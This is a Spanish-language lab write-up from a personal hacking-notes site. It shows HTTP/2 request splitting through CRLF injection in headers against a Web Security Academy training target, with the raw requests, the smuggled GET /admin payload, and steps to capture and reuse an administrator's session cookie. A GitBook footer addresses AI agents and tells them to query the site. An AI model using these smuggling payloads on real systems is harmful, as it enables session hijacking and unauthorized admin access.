> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/http2-splitting-via-crlf-injection.md).

# División de solicitudes HTTP/2 mediante inyección CRLF

### División de solicitudes HTTP/2 mediante inyección CRLF

El front-end degrada las solicitudes HTTP/2 a HTTP/1 y no limpia correctamente los encabezados. / Esta falla permite un ataque de división de solicitudes, usado aquí para envenenar la línea de respuesta y acceder al panel de administración para eliminar al usuario **carlos**. / Un administrador se conecta cada **10 segundos** y la conexión back-end se reinicia cada **10 solicitudes**, lo que facilita volver a una conexión limpia.

* Aunque la consulta esté mal formada, el servidor no devuelve ningún mensaje de error.
* Ejemplo de intento en HTTP/2:

```http
POST / HTTP/2
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net
Transfer-Encoding: chunked

3
abc
X


```

No se generan errores.

* Se añadió un encabezado personalizado a **Encabezados de la solicitud** (Burp):

```http
Nombre:
prueba
Valor:
prueba
Transfer-Encoding: chunked
```

<figure><img src="/files/5e13332c524db69b9a7e4da89b3bf7b66796954e" alt=""><figcaption></figcaption></figure>

* Con una solicitud GET que contiene un cuerpo, el servidor especifica que GET no puede llevar un cuerpo, lo que confirma que existen algunas validaciones pero siguen siendo insuficientes para los encabezados inyectados.

<figure><img src="/files/71608001ed6ca666fe4c80f763dbda4942c81d1c" alt=""><figcaption></figcaption></figure>

#### Inyección CRLF mediante encabezados HTTP/2

Al colocar los encabezados controlados a través de HTTP/2, la inyección CRLF se acepta. / Luego puedes insertar una consulta adicional después de la solicitud legítima durante la degradación a HTTP/1.

Ejemplo de carga útil de contrabando:

```http
GET / HTTP/2
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net


```

<figure><img src="/files/af2fec440d0c882bc81186c94f0498f791560569" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/610c61837fbfea9a415fe09ef0734079d03becdc" alt=""><figcaption></figcaption></figure>

#### Explotación

1. Inyecta una solicitud de contrabando dirigida a:/ **GET / HTTP Admin/1.1**

<figure><img src="/files/6a39974647021f5005d54fbace8d2fc83e4cc3f3" alt=""><figcaption></figcaption></figure>

* Envía múltiples solicitudes para que el administrador desencadene la respuesta atrapada.

```http
prueba

GET /admin HTTP/1.1
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net
```

* Intercepta la solicitud back-end /admin que contiene la \*\*cookie de sesión del administrador\*\*.

<figure><img src="/files/7e6b316fc02d04effab1e35d646f106b1972cd30" alt=""><figcaption></figcaption></figure>

1. Reutiliza esta sesión robada para acceder al panel de administración.
2. Desde el panel, elimina al usuario **carlos**.

<figure><img src="/files/f1108fc50ee05c63f005ccdadc6acfedf6cbb894" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/http2-splitting-via-crlf-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
